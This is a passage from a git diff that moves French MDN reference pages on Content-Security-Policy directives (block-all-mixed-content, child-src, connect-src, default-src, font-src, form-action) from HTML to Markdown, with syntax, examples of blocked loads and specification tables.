Toutes les requêtes vers des contenus mixtes sont alors bloquées, y compris les ressources actives et passives. Cela s'applique aussi aux documents {{HTMLElement("iframe")}}, assurant que la page est complètement protégée contre les contenus mixtes.

- -
-

Note : La directive {{CSP("upgrade-insecure-requests")}} est évaluée avant block-all-mixed-content. Si elle est définie, alors block-all-mixed-content n'est pas nécessaire, à moins que vous souhaitiez forcer HTTPS sur les anciens navigateurs qui ne le font pas après une redirection vers HTTP.

-
- -

Syntaxe

- -
Content-Security-Policy: block-all-mixed-content;
- -

Exemples

- -
Content-Security-Policy: block-all-mixed-content;
-
-<meta http-equiv="Content-Security-Policy" content="block-all-mixed-content">
-
- -

Pour interdire l'usage de HTTP de manière plus fine, vous pouvez aussi configurer individuellement chaque directive sur https:. Par exemple, pour interdire les images HTTP non sécurisées :

- -
Content-Security-Policy: img-src https:
- -

Spécifications

- - - - - - - - - - - - - - -
SpecificationStatutCommentaire
{{specName("Mixed Content", "#block-all-mixed-content", "block-all-mixed-content")}}{{Spec2('Mixed Content')}}Définition initiale.
- -

Compatibilités navigateurs

- -

{{Compat("http.headers.csp.block-all-mixed-content")}}

- -

Voir également

- - diff --git a/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.md b/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.md new file mode 100644 index 0000000000..92897ebaf9 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.md @@ -0,0 +1,68 @@ +--- +title: 'CSP: block-all-mixed-content' +slug: Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Mixed Content + - Reference + - Security + - Sécurité + - block-all-mixed-content +translation_of: Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) block-all-mixed-content bloque le chargement de ressources via HTTP lorsque la page utilise HTTPS.

+ +

Toutes les requêtes vers des contenus mixtes sont alors bloquées, y compris les ressources actives et passives. Cela s'applique aussi aux documents {{HTMLElement("iframe")}}, assurant que la page est complètement protégée contre les contenus mixtes.

+ +
+

Note : La directive {{CSP("upgrade-insecure-requests")}} est évaluée avant block-all-mixed-content. Si elle est définie, alors block-all-mixed-content n'est pas nécessaire, à moins que vous souhaitiez forcer HTTPS sur les anciens navigateurs qui ne le font pas après une redirection vers HTTP.

+
+ +

Syntaxe

+ +
Content-Security-Policy: block-all-mixed-content;
+ +

Exemples

+ +
Content-Security-Policy: block-all-mixed-content;
+
+<meta http-equiv="Content-Security-Policy" content="block-all-mixed-content">
+
+ +

Pour interdire l'usage de HTTP de manière plus fine, vous pouvez aussi configurer individuellement chaque directive sur https:. Par exemple, pour interdire les images HTTP non sécurisées :

+ +
Content-Security-Policy: img-src https:
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpecificationStatutCommentaire
{{specName("Mixed Content", "#block-all-mixed-content", "block-all-mixed-content")}}{{Spec2('Mixed Content')}}Définition initiale.
+ +

Compatibilités navigateurs

+ +

{{Compat("http.headers.csp.block-all-mixed-content")}}

+ +

Voir également

+ + diff --git a/files/fr/web/http/headers/content-security-policy/child-src/index.html b/files/fr/web/http/headers/content-security-policy/child-src/index.html deleted file mode 100644 index 8cf2d1ab7a..0000000000 --- a/files/fr/web/http/headers/content-security-policy/child-src/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: 'CSP: child-src' -slug: Web/HTTP/Headers/Content-Security-Policy/child-src -tags: - - CSP - - Child - - Content-Security-Policy - - Directive - - HTTP - - Reference - - Security - - Sécurité - - child-src - - source -translation_of: Web/HTTP/Headers/Content-Security-Policy/child-src ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) child-src définit les sources valides de web workers et de contextes de navigations imbriqués chargés au moyen d'éléments tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}. Pour les workers, les requêtes conformes sont traitées comme des erreurs de réseau fatales par l'agent utilisateur.

- - - - - - - - - - - - - - - - -
Version de CSP2
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: child-src <source>;
-Content-Security-Policy: child-src <source> <source>;
-
- -

Sources

- -

{{page("Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

- -

Exemples

- -

Cas de violation

- -

Soit cet en-tête CSP :

- -
Content-Security-Policy: child-src https://example.com/
- -

Cet {{HTMLElement("iframe")}} et ce worker seront bloqués et ne se chargeront pas :

- -
<iframe src="https://not-example.com"></iframe>
-
-<script>
-  var blockedWorker = new Worker("data:application/javascript,...");
-</script>
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-child-src", "child-src")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-child-src", "child-src")}}{{Spec2('CSP 1.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.child-src")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/child-src/index.md b/files/fr/web/http/headers/content-security-policy/child-src/index.md new file mode 100644 index 0000000000..8cf2d1ab7a --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/child-src/index.md @@ -0,0 +1,98 @@ +--- +title: 'CSP: child-src' +slug: Web/HTTP/Headers/Content-Security-Policy/child-src +tags: + - CSP + - Child + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Sécurité + - child-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/child-src +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) child-src définit les sources valides de web workers et de contextes de navigations imbriqués chargés au moyen d'éléments tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}. Pour les workers, les requêtes conformes sont traitées comme des erreurs de réseau fatales par l'agent utilisateur.

+ + + + + + + + + + + + + + + + +
Version de CSP2
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: child-src <source>;
+Content-Security-Policy: child-src <source> <source>;
+
+ +

Sources

+ +

{{page("Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

+ +

Exemples

+ +

Cas de violation

+ +

Soit cet en-tête CSP :

+ +
Content-Security-Policy: child-src https://example.com/
+ +

Cet {{HTMLElement("iframe")}} et ce worker seront bloqués et ne se chargeront pas :

+ +
<iframe src="https://not-example.com"></iframe>
+
+<script>
+  var blockedWorker = new Worker("data:application/javascript,...");
+</script>
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-child-src", "child-src")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-child-src", "child-src")}}{{Spec2('CSP 1.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.child-src")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/connect-src/index.html b/files/fr/web/http/headers/content-security-policy/connect-src/index.html deleted file mode 100644 index 845f46f7b0..0000000000 --- a/files/fr/web/http/headers/content-security-policy/connect-src/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: 'CSP: connect-src' -slug: Web/HTTP/Headers/Content-Security-Policy/connect-src -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Reference - - Security - - Sécurité - - connect-src - - source -translation_of: Web/HTTP/Headers/Content-Security-Policy/connect-src ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) connect-src restreint les URL qui peuvent être chargées en utilisant des interfaces de programmation. Les API qui sont affectées sont :

- - - -
-

Note : connect-src 'self' ne s'applique pas aux schémas de websocket pour tous les navigateurs. Pour plus d'informations, consulter : https://github.com/w3c/webappsec-csp/issues/7.

-
- - - - - - - - - - - - - - - - -
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: connect-src <source>;
-Content-Security-Policy: connect-src <source> <source>;
-
- -

Sources

- -

{{page("/fr/docs/Web/HTTP/Headers/Content-Security-Policy/default-src", "common_sources")}}

- -

Exemples

- -

Cas de violation

- -

Soit cet en-tête CSP :

- -
Content-Security-Policy: connect-src https://example.com/
- -

Les connexions suivantes seront bloquées et ne se chargeront pas :

- -
<a ping="https://not-example.com">
-
-<script>
-  var xhr = new XMLHttpRequest();
-  xhr.open('GET', 'https://not-example.com/');
-  xhr.send();
-
-  var ws = new WebSocket("https://not-example.com/");
-
-  var es = new EventSource("https://not-example.com/");
-
-  navigator.sendBeacon("https://not-example.com/", { ... });
-</script>
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-connect-src", "connect-src")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-connect-src", "connect-src")}}{{Spec2('CSP 1.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.connect-src")}}

- -

Notes de compatibilité

- - - -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/connect-src/index.md b/files/fr/web/http/headers/content-security-policy/connect-src/index.md new file mode 100644 index 0000000000..845f46f7b0 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/connect-src/index.md @@ -0,0 +1,129 @@ +--- +title: 'CSP: connect-src' +slug: Web/HTTP/Headers/Content-Security-Policy/connect-src +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Sécurité + - connect-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/connect-src +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) connect-src restreint les URL qui peuvent être chargées en utilisant des interfaces de programmation. Les API qui sont affectées sont :

+ + + +
+

Note : connect-src 'self' ne s'applique pas aux schémas de websocket pour tous les navigateurs. Pour plus d'informations, consulter : https://github.com/w3c/webappsec-csp/issues/7.

+
+ + + + + + + + + + + + + + + + +
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: connect-src <source>;
+Content-Security-Policy: connect-src <source> <source>;
+
+ +

Sources

+ +

{{page("/fr/docs/Web/HTTP/Headers/Content-Security-Policy/default-src", "common_sources")}}

+ +

Exemples

+ +

Cas de violation

+ +

Soit cet en-tête CSP :

+ +
Content-Security-Policy: connect-src https://example.com/
+ +

Les connexions suivantes seront bloquées et ne se chargeront pas :

+ +
<a ping="https://not-example.com">
+
+<script>
+  var xhr = new XMLHttpRequest();
+  xhr.open('GET', 'https://not-example.com/');
+  xhr.send();
+
+  var ws = new WebSocket("https://not-example.com/");
+
+  var es = new EventSource("https://not-example.com/");
+
+  navigator.sendBeacon("https://not-example.com/", { ... });
+</script>
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-connect-src", "connect-src")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-connect-src", "connect-src")}}{{Spec2('CSP 1.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.connect-src")}}

+ +

Notes de compatibilité

+ + + +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/default-src/index.html b/files/fr/web/http/headers/content-security-policy/default-src/index.html deleted file mode 100644 index 9f2d9d6cb8..0000000000 --- a/files/fr/web/http/headers/content-security-policy/default-src/index.html +++ /dev/null @@ -1,174 +0,0 @@ ---- -title: 'CSP: default-src' -slug: Web/HTTP/Headers/Content-Security-Policy/default-src -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Reference - - Security - - Sécurité - - default - - default-src - - source -translation_of: Web/HTTP/Headers/Content-Security-Policy/default-src ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) default-src sert de valeur par défaut pour les autres directives CSP {{Glossary("fetch directive", "fetch directives")}}.

- -

Pour chacune des directives suivantes, l'agent utilisateur consultera la directive default-src et utilisera sa valeur pour la directive demandée si celle-ci est absente :

- - - - - - - - - - - - - - -
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: default-src <source>;
-Content-Security-Policy: default-src <source> <source>;
-
- -

Sources

- -

La <source> peut être une des suivantes :

- -
-
<host-source>
-
Des hôtes Internet par leur nom de domaine ou adresse IP, aussi bien qu'un protocole et/ou un numéro de port. L'adresse du site peut inclure un caractère de remplacement optionnel (l'astérisque '*'), qui ne peut être utilisée que pour indiquer un sous-domaine ou que tous les ports existants sont des sources valides.
- Exemples: -
    -
  • http://*.example.com: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com via le protocole http:.
    • -
  • mail.example.com:443: correspondra à toutes les tentatives d'accès sur le port 443 de mail.example.com.
    • -
  • https://store.example.com: correspondra à toutes les tentatives d'accès à store.example.com via le protocole https:.
    • -
  • *.example.com: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com en utilisant le protocole courant.
    • -
-
-
<scheme-source>
-
Un protocole tel que http: ou https:. Les deux-points sont nécessaires. Contrairement à d'autres valeurs ci-bas, les guillemets ne devraient pas être employés. Vous pouvez aussi spécifier des schémas de données (quoi que ce ne soit pas recommandé). -
    -
  • data: permet aux URI data: d'être utilisées comme sources de contenu. Cette pratique manque de sécurité ; une personne malveillante peut aussi injecter des URI data: arbitraires. Utilisez cette valeur avec parcimonie certainement pas pour des scripts.
    • -
  • mediastream: permet aux URI mediastream: d'être utilisées comme source de contenu.
    • -
  • blob: permet aux URI blob: d'être utilisées comme source de contenu.
    • -
  • filesystem: Allows URI filesystem: d'être utilisées comme source de contenu.
    • -
-
-
'self'
-
Cette valeur fait référence au domaine dont est originaire le document protégé, y compris le protocole et le numéro de port. Vous devez mettre cette valeur entre guillemets. Certains navigateurs excluent spécifiquement les valeurs blob et filesystem des directives de source. Les sites nécessitant une permission pour ces types de contenu peuvent les spécifier en utilisant l'attribut Data.
-
'unsafe-eval'
-
Permet l'usage de la fonction eval() et de méthodes similaires pour créer du code à partir de chaines de caractères. Vous devez mettre cette valeur entre guillemets.
-
'unsafe-hashes'
-
Permet l'usage de certains écouteurs d'évènements par attributs. Si vous n'avez besoin que d'écouteurs d'évènements par attributs et non d'éléments {{HTMLElement("script")}} embarqués ou d'URL javascript:, cette valeur est plus sécurisée que unsafe-inline.
-
'unsafe-inline'
-
Permet l'usage de ressources embarquées, tels que des éléments {{HTMLElement("script")}} (sans src), d'URL javascript:, de gestionnaire d'évènement par attributs (on<eventName>), et d'éléments {{HTMLElement("style")}}. Vous devez mettre cette valeur entre guillemets.
-
'none'
-
Aucune source n'est admise. Vous devez mettre cette valeur entre guillemets.
-
'nonce-<base64-value>'
-
Une liste de permissions pour des scripts embarqués spécifiques en utilisant un nonce (number used once, nombre à usage unique) cryptographique. Le serveur doit générer un nonce à chaque fois qu'il transmet une réponse. Il est extrèmement important de fournir des nonces non prédictibles, puisque le contraire permettrait aisément de contourner la stratégie de sécurité. Voir inline script non fiables pour avoir un exemple. Spécifier un nonce implique que les navigateurs modernes ignoreront la valeur 'unsafe-inline', qui peut toutefois être laissée pour les anciens navigateurs ne supportant pas les nonces.
-
'<hash-algorithm>-<base64-value>'
-
Un hash sha256, sha384 ou sha512 d'un <script> ou d'un <style>. Cette source est composée de deux parties séparées par un tiret : le nom de l'algorithme de chiffrage utilisé pour générer le hash à gauche et le hash encodé en base 64 à droite. Lors de la génération du hash, il ne faut pas inclure les balises <script> or <style> et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.). Voir inline script non fiables pour en avoir un exemple. En CSP 2.0, cette valeur ne s'applique qu'aux scripts embarqués. CSP 3.0 le permet aussi dans le cas de scripts externes.
-
'strict-dynamic'
-
La valeur strict-dynamic spécifie que la confiance explicitement donnée à un script de la page, par le biais d'un nonce ou d'un hash, doit être propagée à tous les scripts chargés par celui-ci. En conséquence, toute les valeurs telles que 'self' ou 'unsafe-inline' et listes de permissions sont ignorées. Voir script-src pour en avoir un exemple.
-
'report-sample'
-
Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé.
-
- - -

Exemples

- -

Absence d'héritage avec default-src

- -

S'il y a d'autres directives spécifiées, default-src ne les affecte pas. Soit l'en-tête suivant :

- -
Content-Security-Policy: default-src 'self'; script-src https://example.com
- -

Est identique à :

- -
Content-Security-Policy: connect-src 'self';
-                         font-src 'self';
-                         frame-src 'self';
-                         img-src 'self';
-                         manifest-src 'self';
-                         media-src 'self';
-                         object-src 'self';
-                         script-src https://example.com;
-                         style-src 'self';
-                         worker-src 'self'
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-default-src", "default-src")}}{{Spec2('CSP 3.0')}}Ajout de frame-src, manifest-src et worker-src comme valeurs par défaut.
{{specName("CSP 1.1", "#directive-default-src", "default-src")}}{{Spec2('CSP 1.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("http.headers.csp.Content-Security-Policy.default-src")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/default-src/index.md b/files/fr/web/http/headers/content-security-policy/default-src/index.md new file mode 100644 index 0000000000..9f2d9d6cb8 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/default-src/index.md @@ -0,0 +1,174 @@ +--- +title: 'CSP: default-src' +slug: Web/HTTP/Headers/Content-Security-Policy/default-src +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Sécurité + - default + - default-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/default-src +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) default-src sert de valeur par défaut pour les autres directives CSP {{Glossary("fetch directive", "fetch directives")}}.

+ +

Pour chacune des directives suivantes, l'agent utilisateur consultera la directive default-src et utilisera sa valeur pour la directive demandée si celle-ci est absente :

+ + + + + + + + + + + + + + +
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: default-src <source>;
+Content-Security-Policy: default-src <source> <source>;
+
+ +

Sources

+ +

La <source> peut être une des suivantes :

+ +
+
<host-source>
+
Des hôtes Internet par leur nom de domaine ou adresse IP, aussi bien qu'un protocole et/ou un numéro de port. L'adresse du site peut inclure un caractère de remplacement optionnel (l'astérisque '*'), qui ne peut être utilisée que pour indiquer un sous-domaine ou que tous les ports existants sont des sources valides.
+ Exemples: +
    +
  • http://*.example.com: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com via le protocole http:.
    • +
  • mail.example.com:443: correspondra à toutes les tentatives d'accès sur le port 443 de mail.example.com.
    • +
  • https://store.example.com: correspondra à toutes les tentatives d'accès à store.example.com via le protocole https:.
    • +
  • *.example.com: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com en utilisant le protocole courant.
    • +
+
+
<scheme-source>
+
Un protocole tel que http: ou https:. Les deux-points sont nécessaires. Contrairement à d'autres valeurs ci-bas, les guillemets ne devraient pas être employés. Vous pouvez aussi spécifier des schémas de données (quoi que ce ne soit pas recommandé). +
    +
  • data: permet aux URI data: d'être utilisées comme sources de contenu. Cette pratique manque de sécurité ; une personne malveillante peut aussi injecter des URI data: arbitraires. Utilisez cette valeur avec parcimonie certainement pas pour des scripts.
    • +
  • mediastream: permet aux URI mediastream: d'être utilisées comme source de contenu.
    • +
  • blob: permet aux URI blob: d'être utilisées comme source de contenu.
    • +
  • filesystem: Allows URI filesystem: d'être utilisées comme source de contenu.
    • +
+
+
'self'
+
Cette valeur fait référence au domaine dont est originaire le document protégé, y compris le protocole et le numéro de port. Vous devez mettre cette valeur entre guillemets. Certains navigateurs excluent spécifiquement les valeurs blob et filesystem des directives de source. Les sites nécessitant une permission pour ces types de contenu peuvent les spécifier en utilisant l'attribut Data.
+
'unsafe-eval'
+
Permet l'usage de la fonction eval() et de méthodes similaires pour créer du code à partir de chaines de caractères. Vous devez mettre cette valeur entre guillemets.
+
'unsafe-hashes'
+
Permet l'usage de certains écouteurs d'évènements par attributs. Si vous n'avez besoin que d'écouteurs d'évènements par attributs et non d'éléments {{HTMLElement("script")}} embarqués ou d'URL javascript:, cette valeur est plus sécurisée que unsafe-inline.
+
'unsafe-inline'
+
Permet l'usage de ressources embarquées, tels que des éléments {{HTMLElement("script")}} (sans src), d'URL javascript:, de gestionnaire d'évènement par attributs (on<eventName>), et d'éléments {{HTMLElement("style")}}. Vous devez mettre cette valeur entre guillemets.
+
'none'
+
Aucune source n'est admise. Vous devez mettre cette valeur entre guillemets.
+
'nonce-<base64-value>'
+
Une liste de permissions pour des scripts embarqués spécifiques en utilisant un nonce (number used once, nombre à usage unique) cryptographique. Le serveur doit générer un nonce à chaque fois qu'il transmet une réponse. Il est extrèmement important de fournir des nonces non prédictibles, puisque le contraire permettrait aisément de contourner la stratégie de sécurité. Voir inline script non fiables pour avoir un exemple. Spécifier un nonce implique que les navigateurs modernes ignoreront la valeur 'unsafe-inline', qui peut toutefois être laissée pour les anciens navigateurs ne supportant pas les nonces.
+
'<hash-algorithm>-<base64-value>'
+
Un hash sha256, sha384 ou sha512 d'un <script> ou d'un <style>. Cette source est composée de deux parties séparées par un tiret : le nom de l'algorithme de chiffrage utilisé pour générer le hash à gauche et le hash encodé en base 64 à droite. Lors de la génération du hash, il ne faut pas inclure les balises <script> or <style> et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.). Voir inline script non fiables pour en avoir un exemple. En CSP 2.0, cette valeur ne s'applique qu'aux scripts embarqués. CSP 3.0 le permet aussi dans le cas de scripts externes.
+
'strict-dynamic'
+
La valeur strict-dynamic spécifie que la confiance explicitement donnée à un script de la page, par le biais d'un nonce ou d'un hash, doit être propagée à tous les scripts chargés par celui-ci. En conséquence, toute les valeurs telles que 'self' ou 'unsafe-inline' et listes de permissions sont ignorées. Voir script-src pour en avoir un exemple.
+
'report-sample'
+
Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé.
+
+ + +

Exemples

+ +

Absence d'héritage avec default-src

+ +

S'il y a d'autres directives spécifiées, default-src ne les affecte pas. Soit l'en-tête suivant :

+ +
Content-Security-Policy: default-src 'self'; script-src https://example.com
+ +

Est identique à :

+ +
Content-Security-Policy: connect-src 'self';
+                         font-src 'self';
+                         frame-src 'self';
+                         img-src 'self';
+                         manifest-src 'self';
+                         media-src 'self';
+                         object-src 'self';
+                         script-src https://example.com;
+                         style-src 'self';
+                         worker-src 'self'
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-default-src", "default-src")}}{{Spec2('CSP 3.0')}}Ajout de frame-src, manifest-src et worker-src comme valeurs par défaut.
{{specName("CSP 1.1", "#directive-default-src", "default-src")}}{{Spec2('CSP 1.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("http.headers.csp.Content-Security-Policy.default-src")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/font-src/index.html b/files/fr/web/http/headers/content-security-policy/font-src/index.html deleted file mode 100644 index d5f2317624..0000000000 --- a/files/fr/web/http/headers/content-security-policy/font-src/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: 'CSP: font-src' -slug: Web/HTTP/Headers/Content-Security-Policy/font-src -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Reference - - Security - - Sécurité - - font - - source -translation_of: Web/HTTP/Headers/Content-Security-Policy/font-src ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) font-src spécifie les sources valides pour les polices chargés avec {{cssxref("@font-face")}}.

- - - - - - - - - - - - - - - - -
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: font-src <source>;
-Content-Security-Policy: font-src <source> <source>;
-
- -

Sources

- -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

- -

Exemples

- -

Cas de violation

- -

Soit cet en-tête CSP :

- -
Content-Security-Policy: font-src https://example.com/
- -

Cette définition de police sera bloquée et ne se chargera pas :

- -
<style>
-  @font-face {
-    font-family: "MyFont";
-    src: url("https://not-example.com/font");
-  }
-  body {
-    font-family: "MyFont";
-  }
-</style>
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-font-src", "font-src")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-font-src", "font-src")}}{{Spec2('CSP 1.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.font-src")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/font-src/index.md b/files/fr/web/http/headers/content-security-policy/font-src/index.md new file mode 100644 index 0000000000..d5f2317624 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/font-src/index.md @@ -0,0 +1,100 @@ +--- +title: 'CSP: font-src' +slug: Web/HTTP/Headers/Content-Security-Policy/font-src +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Sécurité + - font + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/font-src +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) font-src spécifie les sources valides pour les polices chargés avec {{cssxref("@font-face")}}.

+ + + + + + + + + + + + + + + + +
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: font-src <source>;
+Content-Security-Policy: font-src <source> <source>;
+
+ +

Sources

+ +

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

+ +

Exemples

+ +

Cas de violation

+ +

Soit cet en-tête CSP :

+ +
Content-Security-Policy: font-src https://example.com/
+ +

Cette définition de police sera bloquée et ne se chargera pas :

+ +
<style>
+  @font-face {
+    font-family: "MyFont";
+    src: url("https://not-example.com/font");
+  }
+  body {
+    font-family: "MyFont";
+  }
+</style>
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-font-src", "font-src")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-font-src", "font-src")}}{{Spec2('CSP 1.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.font-src")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/form-action/index.html b/files/fr/web/http/headers/content-security-policy/form-action/index.html deleted file mode 100644 index fee4d1839f..0000000000 --- a/files/fr/web/http/headers/content-security-policy/form-action/index.html +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: 'CSP: form-action' -slug: Web/HTTP/Headers/Content-Security-Policy/form-action -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Security - - Sécurité - - form - - form-action -translation_of: Web/HTTP/Headers/Content-Security-Policy/form-action ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) form-action restreint les URL pouvant être utilisées comme cibles de soumissions de formulaires depuis un contexte donné.

- -
-

Attention : La question de savoir si form-action doit bloquer les redirections après une soumission de formulaire est encore débattue et les implantations des navigateurs sur cet aspect sont incohérentes (par exemple Firefox 57 ne les bloque pas, contrairement à Chrome 63).

-
- - - - - - - - - - - - - - - - -
Version de CSP2
Type de directive{{Glossary("Navigation directive")}}
{{CSP("default-src")}} par défautNon, ne pas la définir autorise toutes les adresses.
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être utilisées pour cette directive :

- -
Content-Security-Policy: form-action <source>;
-Content-Security-Policy: form-action <source> <source>;
-
- -

Sources

- -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

- -

Exemples

- -

Configuration par balise <meta>

- -
<meta http-equiv="Content-Security-Policy" content="form-action 'none'">
- -

Configuration par Apache

- -
<IfModule mod_headers.c>
-Header set Content-Security-Policy "form-action 'none';"
-</IfModule>
- -

Configuration par Nginx

- -
add_header Content-Security-Policy "form-action 'none';"
- -

Cas de violation

- -

